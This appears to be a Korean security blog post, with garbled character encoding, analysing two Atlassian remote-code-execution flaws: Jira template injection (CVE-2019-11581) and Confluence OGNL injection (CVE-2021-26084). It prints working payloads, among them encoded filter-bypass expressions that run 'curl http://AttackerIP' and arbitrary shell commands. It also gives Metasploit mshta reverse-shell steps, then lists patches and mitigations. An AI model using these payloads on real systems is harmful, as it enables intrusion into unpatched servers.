ν°μ€ν 리 λ·°
κ°μ
μνλμμμ λνμ μΈ μ·¨μ½μ μ¬λ‘λ€μ μμ보λ λ§μ§λ§ μ±ν°μ λλ€. μ΄λ²μλ λΉκ΅μ νκΈν¨κ³Όκ° ν° RCE(Remote Code Excution) ν¬μΈνΈλ₯Ό μμλ³΄κ² μ΅λλ€. λλΆλΆμ μ€νμμ€ νλ μμν¬ κ΄λ ¨ν΄μ λμΆλ μ·¨μ½μ λ€μ λ΄λΆμ μλ³Έ μ½λλ₯Ό νμΈν μ μκΈ° λλ¬Έμ μ μ μΈ λΆμμ ν΅ν΄ μμ€ν μ μ§μ μ μΈ μΉ¨ν΄λ₯Ό κ°ν μ μλ ν¬μΈνΈλ₯Ό μ°Ύμλ΄λ μΌμ΄μ€κ° λ§μ΅λλ€.
Sever Template Injection(CVE-2019–11581)
곡격 ν¬μΈνΈλ 첫λ²μ§Έλ‘ JIRAμλ²μ SMTP ꡬμ±μ΄ λμ΄ μκ³ "bulk email send(λμ©λ λ©μΌ 보λ΄κΈ°)" λλ "Contact Admin"μ΄ νμ±νλμ΄ μμ΄μΌ ν©λλ€.
<μν₯ λ²μ >
4.4.0 < 7.6.14,
7.7.0 < 7.13.5
8.0.0 < 8.0.3
8.1.0 < 8.1.2
8.2.0 < 8.2.3
Exploit νκΈ° μν΄ μ¬μ μ λ‘κ·ΈμΈ μΈμ¦μ κ±°μΉκ±°λ(bulk email send) λ‘κ·ΈμΈ μΈμ¦ μμ΄(Contact Admin) κ΄λ¦¬μμκ² μ°λ½ν μ μλ μ΅μ (κΈ°λ³Έκ°: λΉνμ±ν)μ μ¬μ©νκ³ μλ κ²½μ°μ Server Template Injectionμ΄ μλν μ μμ΅λλ€.
μΌλ°μ μΌλ‘ Template Injection μ·¨μ½μ λ€μ 곡격μλ€μ΄ λμ μλΉμ€μμ μ 곡νλ κΈ°λ³Έ ν νλ¦Ώ ꡬ문μ νμ©νμ¬ μ μμ μΈ μ½λλ₯Ό μ½μ ν μλλ°© μΈ‘μμ μ½λκ° μ€νλλλ‘ νλ κ²μ λͺ©μ μΌλ‘ κ°μ§κ³ μμ΅λλ€.
μ·¨μ½μ ν μ€νΈλ₯Ό μν΄ "νμ±ν"λ‘ μ€μ νκ³ μ§ννκ² μ΅λλ€. κΈ°λ³Έμ μΌλ‘ Contact Administrators Formμ΄λΌλ κ΄λ¦¬μ μ°λ½ μμμ "λΉνμ±ν"λ μνλ‘ λμ΄ μμ΅λλ€. ν΄λΉ κΈ°λ₯μ΄ νμ±νλ κ²½μ° velocity κΈ°λ°μ ν νλ¦Ώμ΄ λ‘κ·ΈμΈλμ§ μμ μ¬μ©μλ€μκ²λ μ 곡λκ² λ©λλ€.
κ΄λ¦¬μ μ°λ½ μμμ νμ±ννκΈ° μν΄μ κ΄λ¦¬μ μΈ‘μ SMTP μλ²κ° νμ±νλμ΄ μμ΄μΌ λ©λλ€.
νμ±νκ° λλ©΄ μμ²λΌ "ON"μ΄λΌλ λ¬Έκ΅¬λ‘ λ³κ²½λ©λλ€.
ν μ€νΈλ₯Ό μ§ννκΈ° μν΄ ACLμ΄ μ μ©λμ΄ μμ§ μκ³ κ΄λ¦¬μ μ°λ½ μμμ νμ±ννμ¬ μ¬μ©λμ΄ μλ νκ²½μ ν΅ν΄ Exploit ν΄λ³΄κ² μ΅λλ€. 곡격μλ λ΄λΆμ νλ«νΌμ μ΄μ©νκΈ° μν λ³λμ λ‘κ·ΈμΈ κ³μ μ λΆμ¬λ°μ§ λͺ»ν μν©μ λλ€.
μνλμμ μ λ©μΈ νμ΄μ§ λλ λ‘κ·ΈμΈ νμ΄μ§ μ μΌ νλ¨μΌλ‘ λ΄λ €λ³΄μλ©΄ "Report a Problem"μ΄λΌλ λ§ν¬ νκ·Έκ° μ‘΄μ¬ν©λλ€. μ΄ λΆλΆμ ν΅ν΄ μ κ·Όνμλ©΄ νμ±νλ κ΄λ¦¬μ μ°λ½ μμμΌλ‘ μ΄λλ©λλ€.
곡격μ μ§νν End-Point μμμ λλ€. μ·¨μ½μ μ€λͺ μ μ½μ΄λ³΄λ©΄ Subjectμ μ¬μ©μμ μ λ ₯ κ°μ μ λλ‘ κ²μ¦νμ§ μμ 곡격μκ° μ½μ ν μμμ½λκ° κ΄λ¦¬μ νκ²½μμ λ°μ¬ νΈμΆλμ΄ μ€νλλ€κ³ μ€λͺ ν©λλ€.
μ½μ λλ μ½λμ ννλ μ΄λ€ ν νλ¦Ώ μμ§μ μ°λμ λ°λΌ μ‘°κΈμ© λ¬λΌμ§λλ€. Jira Softwareλ Apache Velocity ν νλ¦Ώ μμ§μ ν΅ν΄ μ¬μ©μλ€μκ² μ΄λ©μΌ μ μ‘κ³Ό κ΄λ ¨λ ν νλ¦Ώμ λ λλ§ ν©λλ€. HTML μ½ν μΈ μ ν¨κ» JAVAκΈ°λ₯μ νΈμΆνκ³ κ°μ²΄λ₯Ό μ¬μ©ν μ μμ΅λλ€.
μ¬κΈ°μ 곡격μκ° μμ€μ½λλ₯Ό λΆμνμ¬ ν νλ¦Ώ μμ§μ μλλ°μ€ λ΄λΆμ λ³μ(hidden)μ μ½λλ₯Ό μ½μ ν μ μκ² λλ©΄ μ격μ½λ μ·¨μ½μ μ΄ μμ±λ©λλ€.
κ΄λ¦¬μμκ² μ°λ½μ μ λ¬ν νμ΄μ§μ μ½λμ λλ€. λ§μ½ XSRF 보μ ν ν° κ΄λ ¨ μ΄μκ° λ°μνλ€λ©΄ λΈλΌμ°μ μΊμ κΈ°λ‘μ μ κ±°ν΄μ£Όμκ³ μνλμμλ₯Ό μ¬μ€νν΄μ£Όμλ©΄ ν΄κ²°λ©λλ€.
μ·¨μ½μ μ΄ λ°μν λΆλΆμ μμμ½λλ₯Ό κ°μ Έμ보면 νμ¬ "subject"λ‘ λΆλ¦¬λ μμμ΄ ν νλ¦Ώμ μ§μ μ½μ λλ λ¬Έμ κ° μ‘΄μ¬ν©λλ€.
ν¨μΉκ° μ§νλ μμ€μ½λμ κ²½μ° μλμ κ°μ΄ subjectλΌλ λ³μλ₯Ό μΆκ°μ μΌλ‘ μμ±νμ¬ μ λ ₯ κ°μ λ°λ κ²μΌλ‘ μ‘°μΉλ₯Ό μ·¨νμ΅λλ€.
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://AttackIP').waitFor()
κ΄λ¦¬μ μλ² -> 곡격μ μλ²λ‘ 컀맨λλ₯Ό λ λ €λ³΄λλ‘ νκ² μ΅λλ€. 곡격μλ λ΄λΆμ νλ«νΌμ μ΄μ©νκΈ° μν λ³λμ λ‘κ·ΈμΈ κ³μ μ λΆμ¬λ°μ§ λͺ»ν μν©μ΄μ§λ§ νμ±νλ κ΄λ¦¬μ μ°λ½ μμμ μ¬μ©λλ Velocity ν νλ¦Ώμ μ·¨μ½μ μ μ μ©νμ¬ λ΄μ₯ ν¨μλ₯Ό ν΅ν΄ JAVA 리νλ μ μ λ°μμμΌ μ½λλ₯Ό μ€νμν¬ μ μμ΅λλ€.
곡격μ μλ²μμ μΉ μλ² λ‘κ·Έλ₯Ό μ°μ΄λ³΄λ©΄ μμ κ°μ΄ κ΄λ¦¬μ(Atlassian)μμ 컀맨λ νΈμΆμ΄ λ°μνλ κ²μ νμΈν μ μμ΅λλ€.
μ격μΌλ‘ μ½λλ₯Ό μ€νν μ μλ€λ κ²μ ν΅ν΄ 곡격μλ μμ νμΌμ μ€ν λλ μμ€ν μ μ€μ κ°μ λ³μ‘°νμ¬ μΉ¨ν¬μ κ²½λ‘λ₯Ό μμ±νκ² λλλ° μ΄λ Metasploit Frameworkμ ν΅ν΄ μλμ°μ "mshta"λ₯Ό μ μ©νμ¬ κ΄λ¦¬μμ 곡격μ κ°μμ μ΄λ©΄ λ©λλ€.
*mshta Attack λ
"μ¬μ©μκ° μ€νν μ μλ νλ‘κ·Έλ¨μ μ νν μ μλ AppLockerμ μ μ± μ°νν μ μμΌλ©° μ΄λ Windows 7λΆν° λμ λ κΈ°μ "(λ°±μ μ μ°ννλλ°λ μ μ©νλ©°, DBDμμλ λ§μ΄ μ¬μ©λμ)
HTA νμΌμ "HTML μμ© νλ‘κ·Έλ¨"μΌλ‘WindowsμμλνμΌμ ν΅ν΄ HTML μμ© νλ‘κ·Έλ¨ νΈμ€νΈλ₯Ό μ€νν μ μμ΅λλ€. μ¦ .hta -> .exe μΈκ²μ²λΌ μ·¨κΈ
Metasploitμλ μ μ± .htaνμΌμ μμ±ν΄μ£Όλ "HTA Web Server" κΈ°λ₯μ΄ ν¬ν¨λμ΄ μκΈ° λλ¬Έμ URIPATHλ μνλ λ¬Έμμ΄μ μ§μ ν΄μ£Όλ©΄ λ©λλ€. λ§μ½ μ§μ νμ§ μμ κ²½μ° λλ€ νμμΌλ‘ λ°°μΉ
곡격μ μλ²μ μ μ± .hta νμΌμ κ΄λ¦¬μ νκ²½μμ μ€μ€λ‘ μ€ννλλ‘ νμ¬ λ¦¬λ²μ€ μμ΄ λλλ‘ μμ²νλ€. μ½λλ₯Ό λ³΄λΈ ν λ°λ‘ μΈμ μ΄ μ°κ²°λμ§ μμ μλ μμ΅λλ€. μ λ ₯λ Subjectμ κ°μ΄ MailQueue μ μ‘ λκΈ°μ΄μ λ€μ΄μλ©΄μ μΌμ μκ°μ λκΈ°μκ°μ΄ λ°μν μ μμ΅λλ€.(μ¬μ μ‘ λλ μ μ λκΈ° νμ)
Sending Stage κ° λνλμ§ μμ μ½λλ₯Ό ν λ² λ μμ²ν κ²°κ³Ό μΌμ μκ°(μ½ 5μ΄)μ§λλ λκΈ°μ΄μ μλ μ½λλ€μ΄ μ°μμ μΌλ‘ μ€νλλ©΄μ sessionsμ λνλ©λλ€.
ν νλ¦Ώμ΄ κ΄λ¦¬μμκ² μ λ¬λλ©΄ μ΅μ’ μ μΌλ‘ ASTMethod.execute() λ©μλλ‘ μ΄λνκ² λλλ° ν΄λΉ λ©μλλ μλ Velocity ꡬ문 λΆμ ν νλ¦Ώ νλ‘μΈμ€μμ λ°μ¬ νΈμΆμ ν΅ν΄ -> λ°°κ²½μ, ν μ€νΈ μ½ν μΈ , νμ΄μ§ μ½λλ₯Ό μ»λ κ²κ³Ό ν νλ¦Ώ λ λλ§ μμ μ μλ£νλλ‘ λμ΄ μμ§λ§ 곡격μκ° μ‘°μλ μ€νλ¬Έμ μ λ¬νμ¬ "java.lang.Runtime.getRuntime"μ΄ λ°μ¬ νΈμΆλλλ‘ νμ¬ μμ λͺ λ Ήμ΄λ₯Ό μ€ννκ² λ©λλ€.
OGNL Injection(CVE-2021-26084)
μ½ 2μ£Ό μ μ―€μ μνλμμλ₯Ό λμμΌλ‘ OGNL Injection μ·¨μ½μ μ΄ κ³΅κ°λμμ΅λλ€. 곡격μ μννκΈ° μν λ³λμ μ μ½μ‘°κ±΄μ΄ μμ΄ ν΄μΈμμλ μ§κΈκΉμ§λ λκ·λͺ¨ μ€μΊλμ΄ μ΄λ£¨μ΄μ§κ³ μλ€λ κ²μ λ°°λν¨ν·μ¬μμ λ°ννμ΅λλ€.
<μν₯ λ²μ >
4.x ~ 6.12.x λ²μ
Before < 6.13.23
6.14 ~ 7.3.x λ²μ
Before < 7.4.11
7.5.x ~ 7.10.x λ²μ
Before < 7.11.6
Before < 7.12.5
μν₯μ λ°λ λ²μ μ Confluence Server λ° Data Centerμλ μΈμ¦λ μ¬μ©μμ κ²½μ°μ λ°λΌ μΈμ¦λμ§ μμ μ¬μ©μκ° Confluenceλλ Data Center μΈμ€ν΄μ€μμ html νλλ₯Ό λμμΌλ‘ μμμ μ½λλ₯Ό μ€νν μ μλ OGNL μΈμ μ μ ν μ μμ΅λλ€.
End-Pointμ μ¬μ©μκ° κ³μ μ λ§λ€κΈ° μν΄ κ°μ νλλ‘ νμ©νλλ‘ νμ±ν(κΈ°λ³Έκ°)λ κ²½μ° κ΄λ¦¬μκ° μλ μ¬μ©μ λλ μΈμ¦λμ§ μμ μ¬μ©μκ° μ‘μΈμ€ ν μ μλ λ§νΌ CVSSλ 9.8μ λλ‘ λμ μ μλ₯Ό λ°μμ΅λλ€.
OGNL(Object-Graph Navigation Language) ννμμ΄λ?
"μλ° νλ‘κ·Έλλ° μΈμ΄κ° μ체 μ§μνλ κ΅¬λ¬Έλ³΄λ€ κ°μνλ ννλ‘ μλ° κ°μ²΄μ μμ± κ°μ κ°μ Έμ€κ±°λ μ€μ ν λ μ°μ λλ€. κ°λ¨ν μκΈ°ν΄ λ΄λΆμ μ 보λ€μ μΆμΆνμ¬ νμ©ν λ μ°μ΄λ κ²μΌλ‘ μκ°νλ©΄ λ©λλ€."
λ‘κ·ΈμΈ κ³μ μ λΆμ¬λ°μ§ μμ 곡격μλ‘ κ°μ νμ μ§ννλ€. μ°μ μ κ·Όνλ©° 1μ°¨μ μΌλ‘ λ‘κ·ΈμΈ νμ΄μ§κ° λνλκ³ λ³λ€λ₯Έ μ‘μΈμ€ ν¬μΈνΈκ° μλ³λμ§ μμ΅λλ€.
곡격ν¬μΈνΈκ° λ μ½λλ‘ λΉμΈμ¦ μνμμλ μΉ νλ©΄μ μμΉκ° λ ΈμΆλμ΄ μμ§ μμRequestμκ°μ μλ΅μ λΉκ΅νλ©΄μ μ§νν΄μΌ λ©λλ€.λλ ZAPμ¬μ©)
첫 λ²μ§Έλ‘ν νλ¦Ώμ λ λλ§ νλ λͺ¨λ κ²½λ‘λ λ‘κ·ΈμΈ μ 무μ μκ΄μμ΄ μΈμ¦λμ§ μμ μνλ‘ μ κ·Όμ΄ κ°λ₯νλ€λ λ¬Έμ κ° 1μ°¨μ μΌλ‘ μ‘΄μ¬ν©λλ€. νλ‘μλ₯Ό ν΅ν΄ μλν¬μΈνΈ μμΉλ‘ κ°μ νΈμΆμ ν΄λ³΄λ©΄ μλ΅ μ½λμ λνλλλ°, μ΄ μ€μμ μ μ¬νκ² νμΈν΄λ³Ό νμκ° μλ λ§₯κ°λ³μλ queryStringμ λλ€.
' -> ' -> &#39;
+ -> none
μ·¨μ½ μ 무λ₯Ό ν μ€νΈνκΈ° μν΄ ${EL}ꡬ문μ μ£Όμ ν΄λ³΄λ©΄ λ³λ€λ₯Έ λ°μμ΄ μμ§λ§ κΈ°νΈμ λ°λ₯Έ μ΄μ€μΌμ΄ν μ²λ¦¬λ₯Ό νκ³ μμ΄ μ΄ λΆλΆμ λ€λ₯΄κ² νννμ¬ λ°μμ λ€μ νλ² μ²΄ν¬ν΄λ³Ό νμκ° μμ΅λλ€.
μ°λ¦¬λ HTML Form ννλ‘ μμ² κ°μ λ³κ²½νμ¬ μ λ¬νλ κ²μ΄λ ν€λμ "application"νμ μ λ³λλ‘ μΆκ°νμ¬ μμ²ν΄μΌ λ©λλ€.
μ±κΈ μΏΌν°λ₯Όμ΄μ€μΌμ΄ν μνμ€" ννλ‘ κ·Έλ¦¬κ³ + κΈ°νΈλ λ¨μ URL Encode ννλ‘ μμ²νμ¬ μ λ¬νλ©΄ μ λ ₯ κ° νν°λ§μμ νμΆν μ μκ² λλ©°, μ½μ λ ꡬ문μ μλ² μΈ‘μμ μ΄ν΄λ₯Ό νκ³ μ€νλλ€λ μ μ νμ ν μ μμ΅λλ€.
1μ°¨μ μΌλ‘ ννμμ μ½μ ν κΈ°νΈλ€μ μ°νκ° κ°λ₯νμ§λ§ λ΄μ₯ κ°μ²΄μ μ κ·Όμ μλνλ©΄ isSafeExpression() λ©μλκ° νΈμΆλλ©΄μ μνλ μ½λ μ²λ¦¬λ₯Ό μ λλ‘ νμ§ λͺ»νκ³ μμ΅λλ€.
μμΈμ²λ¦¬κ° μ§νλλμ§ νμΈνκΈ° μν΄ μμ€μ½λμ μΌλΆλΆμ κ°μ Έμμ΅λλ€. κ²λ³΄κΈ°λ‘ λ΄€μ λ λ§μΉ SpEL Injection κ°μ μ μμ μΈ ννμμ νν°λ§νκΈ° μν΄ μ¬μ©λλ κ²μΌλ‘ νμΈλ©λλ€.
νμ§λ§ Whitelist κ° μλ Blacklist λ°©μμΌλ‘ μ μ°¨λ₯Ό κ±°μΉκΈ° λλ¬Έμ μ°ν μλλ₯Ό ν μ¬μ§λ₯Ό μ£Όλ κ²κ³Ό λ§μ°¬κ°μ§μ λλ€.(Full Sourceλ₯Ό κ°μ Έμ€κΈ° μν΄μλ μ΅μ 1νμ λΌμ΄μ μ€ κ²μ½μ΄ νμν¨)
"".getClass() ν΄λμ€μ μΈμ€ν΄μ€λ₯Ό κ°μ Έμ λͺ λ Ήμ μ€ννκΈ° μν΄ JAVA 리νλ μ μ΄ λ°μλμΌνμ§λ§ μμμ λ³Ό μ μλ―μ΄ getClass() λ©μλμ λν νν°λ§μ΄ μ‘΄μ¬νμ¬ isSafeExpressionμ΄ λ°μν©λλ€.
μ΄λ΄ λλ μ§μ νΈμΆνλ κ²μ΄ μλ λ°°μ΄μ μ κ·Ό μλ₯Ό ν΅ν΄μλ μμ±μ μ κ·Όνμ¬ μ°νλ₯Ό μλν μ μλ€λ νΈλ¦μ΄ μ‘΄μ¬ν©λλ€.
Basic -> Filter "".getClass().forName("java.lang.Runtime")
Array -> Bypass ""["class"].forName("java.lang.Runtime")
<Refference>
https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html
Encode -> \u0027%2b#{\u0022\u0022[\u0022class\u0022]}%2b\u0027
Decode -> '+#{""["class"]}+'
λ΄μ₯ ν¨μλ₯Ό νΈμΆνκΈ° μν΄μ λ°°μ΄ μ κ·Όμλ₯Ό ν΅ν΄ νΈμΆνλ©΄ λλ€λ κ²μ νμΈνμΌλ μ΄μ Confluenceμμ νν°λ§νκ³ μλ λ¬Έμμ΄λ€λ§ λ³λλ‘ μ΄μ€μΌμ΄ν μνμ€ μ²λ¦¬ν΄μ£Όλ©΄ μ°νκ° κ°λ₯ν©λλ€.
*μ°Έκ³ λ‘ java.lang.Runtimeμ΄λ μΈλΆμ νλ‘μΈμ€λ₯Ό μμ±μν¬ μ μλ ν΄λμ€λ‘ λ³λμ μμ±μ μμ΄ getRuntime()μ΄λΌλ λ©μλλ₯Ό ν΅ν΄ κ°μ²΄λ₯Ό μμ±ν©λλ€. (Runtime ν΄λμ€λ νλ‘κ·Έλ¨κ³Ό μ΄μ체μ κ°μ μνΈ μμ©μ μν λ©μλλ€μ΄ μ μλμ΄ μμ)
<Encode>
success!!\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl http://AttackerIP\u0022)}%2b\u0027
<Decode>
success!!'+
#{
""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl http://AttackerIP")
}
+'
μ°λ¦¬λ 1μ°¨μ μΌλ‘ κΈ°νΈμ λν κ° μ²λ¦¬λ₯Ό -> μ΄μ€μΌμ΄ν μνμ€ ννλ‘ λ³ννμ¬ μ λ¬ν΄λ³Έ κ²°κ³Ό μ ν¨ν ννμμ΄λΌλ κ²μ μκ² λμκ³ 2μ°¨μ μΌλ‘ SafeExpressionUtillμμ λΈλ리μ€νΈλ‘ μ²λ¦¬νκ³ μλ λ΄μ₯ κ°μ²΄ λ¬Έμμ΄λ€μ -> λ°°μ΄μ κ·Όμ ννλ‘ νΈμΆνμ¬ "java.lang.Runtime" ν΄λμ€μ μΈμ€ν΄μ€λ₯Ό μ»κ² λμμ΅λλ€.
μ΄ν μΆκ°μ μΌλ‘ "getRuntime()" κ³Ό execλ₯Ό ν΅ν΄ μΈλΆ μμ€ν μ νΈμΆν μ μλ ꡬ문μ λ§λ€μ΄λ³Ό μ μμ΅λλ€.
μμ²μ μ λ¬ ν 곡격μ μλ² μ½μμ μ€μκ°μΌλ‘ νμΈν΄λ³΄λ©΄ λ°μμ΄ μ€λ κ²μ νμΈν μ μμ΅λλ€.
WriteUP λ΄μ©μ μνλ©΄ νμ¬κΉμ§λ μ΄μ€μΌμ΄ν μνμ€μ λ°°μ΄ μ κ·Όμλ₯Ό ν΅ν΄ μ΄λ μ λ νΈμΆμ΄ κ°λ₯νμ§λ§ μΆκ°μ μΌλ‘ 컀맨λλ₯Ό μ€ννλ λ° μ¬μ©λλ κΈ°νΈλ€μ νν°λ§μ΄ μ‘νμμ΄Baisc ν 곡격μ½λλ‘λ isSafeExpressionμ μ‘νκ³ λ§λ€λ λ΄μ©μ΄ μμ΅λλ€.
μ΄λ¬ν λ¬Έμμ΄λ€μ μ°ννκΈ° μν΄μλ javax.script.ScriptEngineManagerλ₯Ό μ΄μ©νμ¬ Javscript ꡬ문 -> "Java" μ½λλ₯Ό μ€νν μ μλ νΈλ¦μ μ¬μ©νλ©΄ λ©λλ€. μλμ WriteUPμ ν΅ν΄ μ°Έκ³
https://securitylab.github.com/research/bean-validation-RCE/
<Encode>
Success!!\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022ifconfig\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027
<Decode>
success!!'+{Class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').\u0065val('var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); var cmd = new java.lang.String("ifconfig");var p = new java.lang.ProcessBuilder(); if(isWin){p.command("cmd.exe", "/c", cmd); } else{p.command("bash", "-c", cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = ""; var output = ""; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }')}+'
μμ λͺ λ Ήμ΄λ₯Ό queryString λ³μμ λ΄μ μ μ‘ν΄λ³΄λ©΄ μ±κ³΅μ μΌλ‘ Command νΈμΆμ΄ κ°λ₯ν©λλ€.
μμ€μ λͺ μλ μ 보λ₯Ό μ¬μ©νμ§ μκ³ μ ν¨ν ν΄λμ€ νΈμΆμ ν΅ν΄ κ°μ²΄μ νμ μ λμ μΌλ‘ μ μ μμ΄ κ°μ²΄ νλμ κ°μ μ‘°ννκ±°λ λ³κ²½ν μ μλ κ²μ "리νλ μ "μ΄λΌκ³ ν©λλ€.
μ¦ JAVAμ 리νλ μ μ ꡬ체μ μΈ ν΄λμ€ νμ μ μμ§ λͺ»ν΄λ, κ·Έ ν΄λμ€μ λ©μλ,νμ , λ³μλ€μ μ κ·Όν μ μλλ‘ ν΄μ£Όλ μλ° API(κΈ°λ³Έμ μΌλ‘ μ 곡ν΄μ€)λ‘ λ³΄λ©΄ λ©λλ€.(μ°λ¦¬λ μ·¨μ½ν End-Point μμμ μ¬μ©λ Class λ° λ©μλλ₯Ό λͺ¨λ₯΄κΈ° λλ¬Έμ 리νλ μ μ ν΅ν΄ λ¨κ³λ³λ‘ λμ νΈμΆνμ¬ μ΅μ’ μ μΌλ‘ μ€νλλ νλ¦μ μ μ©νλ κ²μ΄λΌ 보면 λ¨)
λ§μ½ 1νμ±μ λͺ λ Ήμ΄ νΈμΆμ΄ μλ μ§μμ μΈ μ κΈ°λ°μ λͺ λ Ή νΈμΆμ νκ³ μΆλ€λ©΄ μλμ μ½λλ₯Ό μ¬μ©νλ©΄ λλ€.
https://github.com/h3v0x/CVE-2021-26084_Confluence
μμμ μ€λͺ ν μ°ν κΈ°λ²μΈννλ‘ μ€νλλ©° POCλ₯Ό μ μ‘ μ μ§μ λ μμ² κ° ν€λλ₯Ό ν΅ν΄ κ³ μ μ΄ λκ³ xpl_data λ³μμ μμ μ½λλ₯Ό μ€νμν¬ μ μλ Payloadκ° μΆκ°λμ΄ μ λ¬λμ΄ μ΅μ’ μ μΌλ‘ cmd λ³μμ input() νμ μ ν΅ν΄ 컀맨λλ₯Ό νΈμΆν μ μλ ν둬ννΈκ° μ΄λ¦°λ€.
λμλ°©μ
μνλμμλ 보μμ μ°μ μμλ₯Ό λμ¬ μ격ν ν μ€νΈ μ μ°¨λ₯Ό κ±°μΉκ³ νμΈ΅ μ κ·Έλ μ΄λλ μ λ²μ μ μ£ΌκΈ°μ μΌλ‘ 릴리μ¦νκ³ μμ§λ§, κΈ°μ λ΄λΆμ μΌλ‘ μλ‘μ΄ λ³΄μν¨μΉμ λν΄ κ΄μ¬μ κ°μ§ μκ³ λ±νμνκ² λλ€λ©΄ μ΄λ μ¨νλ λ―Έμ€ νκ²½λ³΄λ€ λμ± μνν νκ²½μ μ²ν΄μ§ κ°λ₯μ±μ΄ μλ€κ³ λ΄ λλ€.
λν μ΄λ¬ν μ€νμμ€ νλ«νΌμ΄ μΈλΆμ λ ΈμΆ(λ΄λΆμμλ§ μ¬μ©)λ νμκ° μλ κ²½μ°μλ λλλ‘ μΈλΆμ μ‘μΈμ€λ₯Ό μ°¨λ¨νκ³ νμ©λ μ¬μ©μλ€λ§ μ κ·Όμ΄ κ°λ₯νκ² ν΄μ£Όλ ACL μ μ± μ μ μ©νμ¬ κ΄λ¦¬νλ κ²μ κΆκ³ νλ νΈμ λλ€.
<Template Injection(CVE-2019–11581)>
ν΄λΉ μ·¨μ½μ μ μλ°©νκΈ° μν΄μ μλμ κ°μ λ°©λ²μ ν΅ν΄ μ‘°μΉλ₯Ό μννλ©΄ λλ€. λ§μ½ μ·¨μ½ μλν¬μΈνΈμ μ κ·Ό μ "κ΄λ¦¬μκ° μ΄ λ¬Έμ μμμ μμ§ κ΅¬μ±νμ§ μμμ΅λλ€" κ°μ λ¬Έκ΅¬κ° λνλλ€λ©΄ μμ νλ€κ³ νλ¨νλ©΄ λλ€.
1. ν¨μΉλ λ²μ μΌλ‘ Upgrade(7.6.14, 7.13.5, 8.0.3, 8.1.2, 8.2.3)
2. κ΄λ¦¬μ μ°λ½ μμ μ°¨λ¨(General Configuration -> Edit Settings -> Scroll Down and "Contact Adminstrators Form" OFF
3. μ·¨μ½ν μλν¬μΈνΈ μ‘μΈμ€ μ°¨λ¨(/secure/admin/SendBulkMail!default.jspa)
<OGNL Injection(CVE-2021-26084)>
1. ν¨μΉλ λ²μ μΌλ‘ Upgrade(6.13.23, 7.4.11, 7.11.6, 7.12.5, 7.13.0)
2. λΉμ₯μ ν¨μΉμ μ‘°μΉκ° νλ€ κ²½μ° μ¬μ©μλ€μ΄ κ°μ μ μ²ν μ μλ 루νΈλ₯Ό μ°¨λ¨ νκ±°λ ACLμ μ± μ κ±Έμ΄ μΈλΆμ λΉμΈκ°μκ° λ¬΄λ¨μΌλ‘ μ κ·Όν μ μλλ‘ λλ μ€μΊλμ νκΉμ΄λμ§ μλλ‘ μ μ΄
'WEB' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
κΈ°μ λλ©μΈμ DMARC λ μ½λ λΆμ (0) | 2022.02.18 |
---|---|
Log4j μ·¨μ½μ (CVE-2021-44228) (0) | 2021.12.23 |
Atlassian REST API μ·¨μ½μ (0) | 2021.09.11 |
Atlassian XSS μ·¨μ½μ (0) | 2021.09.10 |
phpMyAdmin μ·¨μ½μ μ μ© (0) | 2021.08.23 |